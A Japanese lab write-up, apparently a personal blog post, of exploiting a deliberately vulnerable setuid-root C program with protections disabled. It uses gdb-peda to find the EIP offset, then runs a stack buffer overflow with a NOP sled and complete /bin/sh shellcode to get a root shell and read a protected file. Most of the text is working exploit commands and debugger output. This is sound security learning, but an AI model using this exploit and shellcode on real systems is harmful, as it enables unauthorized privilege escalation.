DEP,SSP,ASLR無効の状態でsuidなvulnで試した.
最終的にsecret.txtを読み出すことをゴールとした.
$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
$ cat vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buf[100] = {}; /* set all bytes to zero */
printf("buf = %p\n", buf);
strcpy(buf, argv[1]);
puts(buf);
return 0;
}
$ gcc -fno-stack-protector -z execstack -o vuln vuln.c
$ sudo chown root vuln
$ sudo chmod u+s vuln
$ ls -al vuln
-rwsr-xr-x 1 root mrtc0 5124 Dec 11 05:15 vuln
$ ls -al secret.txt
-rw-r----- 1 root root 12 Dec 11 05:50 secret.txt
$ cat secret.txt
cat: secret.txt: Permission denied
コードを見て分かるとおり,バッファサイズより多いデータを送るとSegvが起こる.
$ ./vuln AAAAA
buf = 0xbffff49c
AAAAA
$ ./vuln `python -c 'print "A"*120'`
buf = 0xbffff42c
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
ここからPEDAを使って解析していく.
cyclic_patternで周期的な文字列を生成してくれる.
これを引数にして実行する.
gdb-peda$ pset arg 'cyclic_pattern(128)'
gdb-peda$ show arg
Argument list to give program being debugged when it is started is "'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA'".
gdb-peda$ r
buf = 0xbffff40c
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41684141 ('AAhA')
ECX: 0xb7fbf4e0 --> 0xfbad2a84
EDX: 0xb7fc0360 --> 0x0
ESI: 0x0
EDI: 0x41413741 ('A7AA')
EBP: 0x6941414d ('MAAi')
ESP: 0xbffff480 ("ANAAjAA9AAOA")
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41384141
[------------------------------------stack-------------------------------------]
0000| 0xbffff480 ("ANAAjAA9AAOA")
0004| 0xbffff484 ("jAA9AAOA")
0008| 0xbffff488 ("AAOA")
0012| 0xbffff48c --> 0xb7fe0800 --> 0x0
0016| 0xbffff490 --> 0xb7ff6821 (mov eax,DWORD PTR [ebp-0x10])
0020| 0xbffff494 --> 0xffffffff
0024| 0xbffff498 --> 0xb7ffeff4 --> 0x1cf2c
0028| 0xbffff49c --> 0x8048288 ("__libc_start_main")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()
gdb-peda$ pattern_search
Registers contain pattern buffer:
EIP+0 found at offset: 112
EBX+0 found at offset: 100
EDI+0 found at offset: 104
EBP+0 found at offset: 108
Registers point to pattern buffer:
[ESP] --> offset 116 - size ~12
Pattern buffer found at:
0xb7fde000 : offset 0 - size 128 (mapped)
0xbffff40c : offset 0 - size 128 ($sp + -0x74 [-29 dwords])
0xbffff682 : offset 0 - size 128 ($sp + 0x202 [128 dwords])
References to pattern buffer found at:
0xb7fbf4e4 : 0xb7fde000 (/lib/i386-linux-gnu/i686/cmov/libc-2.13.so)
0xb7fbf4e8 : 0xb7fde000 (/lib/i386-linux-gnu/i686/cmov/libc-2.13.so)
0xb7fbf4ec : 0xb7fde000 (/lib/i386-linux-gnu/i686/cmov/libc-2.13.so)
0xb7fbf4f0 : 0xb7fde000 (/lib/i386-linux-gnu/i686/cmov/libc-2.13.so)
0xb7fbf4f4 : 0xb7fde000 (/lib/i386-linux-gnu/i686/cmov/libc-2.13.so)
0xb7fbf4f8 : 0xb7fde000 (/lib/i386-linux-gnu/i686/cmov/libc-2.13.so)
0xb7fbf4fc : 0xb7fde000 (/lib/i386-linux-gnu/i686/cmov/libc-2.13.so)
0xbfffed68 : 0xb7fde000 ($sp + -0x718 [-454 dwords])
0xbfffed80 : 0xb7fde000 ($sp + -0x700 [-448 dwords])
0xbfffed90 : 0xb7fde000 ($sp + -0x6f0 [-444 dwords])
0xbffff318 : 0xb7fde000 ($sp + -0x168 [-90 dwords])
0xbffff32c : 0xb7fde000 ($sp + -0x154 [-85 dwords])
0xbffff344 : 0xb7fde000 ($sp + -0x13c [-79 dwords])
0xbffff354 : 0xb7fde000 ($sp + -0x12c [-75 dwords])
0xbffff390 : 0xb7fde000 ($sp + -0xf0 [-60 dwords])
0xbfffeedc : 0xbffff40c ($sp + -0x5a4 [-361 dwords])
0xbffff3dc : 0xbffff40c ($sp + -0xa4 [-41 dwords])
0xbffff3f0 : 0xbffff40c ($sp + -0x90 [-36 dwords])
0xbffff3f4 : 0xbffff682 ($sp + -0x8c [-35 dwords])
0xbffff528 : 0xbffff682 ($sp + 0xa8 [42 dwords])
pattern_searchでEIPの書き換えに112バイト必要なことを教えてくれる.
つまり送る文字列は以下のようになる.
[112 bytes padding][eip][NOP padding][shellcode]
EIPを知るために仮にXXXXとおいて実行する.
gdb-peda$ python
2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"x2f\x2f\x73\x68\x68\x
>end
gdb-peda$ pset arg '"A"*112 + "XXXX" + "\x90"*120 + shellcode'
gdb-peda$ r
buf = 0xbffff37c
̀1�Rh//shh/bin��RS���B
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fbf4e0 --> 0xfbad2a84
EDX: 0xb7fc0360 --> 0x0
ESI: 0x0
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff3f0 --> 0x90909090
EIP: 0x58585858 ('XXXX')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x58585858
[------------------------------------stack-------------------------------------]
0000| 0xbffff3f0 --> 0x90909090
0004| 0xbffff3f4 --> 0x90909090
0008| 0xbffff3f8 --> 0x90909090
0012| 0xbffff3fc --> 0x90909090
0016| 0xbffff400 --> 0x90909090
0020| 0xbffff404 --> 0x90909090
0024| 0xbffff408 --> 0x90909090
0028| 0xbffff40c --> 0x90909090
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x58585858 in ?? ()
送るべきEIPの値がわかったので再度実行.
gdb-peda$ pset arg '"A"*112 + int2hexstr(0xbffff40c) + "\x90"*256 + shellcode'
$ r
buf = 0xbffff2fc
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
`1�Rh//shh/bin��RS���B
process 15872 is executing new program: /bin/dash
$ id
[New process 15873]
process 15873 is executing new program: /usr/bin/id
uid=1000(mrtc0) gid=1001(mrtc0) groups=1001(mrtc0)
$ [Inferior 2 (process 15873) exited normally]
シェルが起動できたので実行する.
$ ./vuln `python -c 'print "A"*112 + "\x0c\xf4\xff\xbf" + "\x90"*256 + "\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"'`
buf = 0xbffff30c
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
̀1�Rh//shh/bin��RS���B
# id
uid=0(root) gid=1001(mrtc0) groups=0(root),1001(mrtc0)
# cat secret.txt
すごい広島
#
root権限でシェルを立ち上げ,secret.txtを読み出すことに成功した.
まだまだ使いこなせていないが便利なことはわかった.
バイナリこわい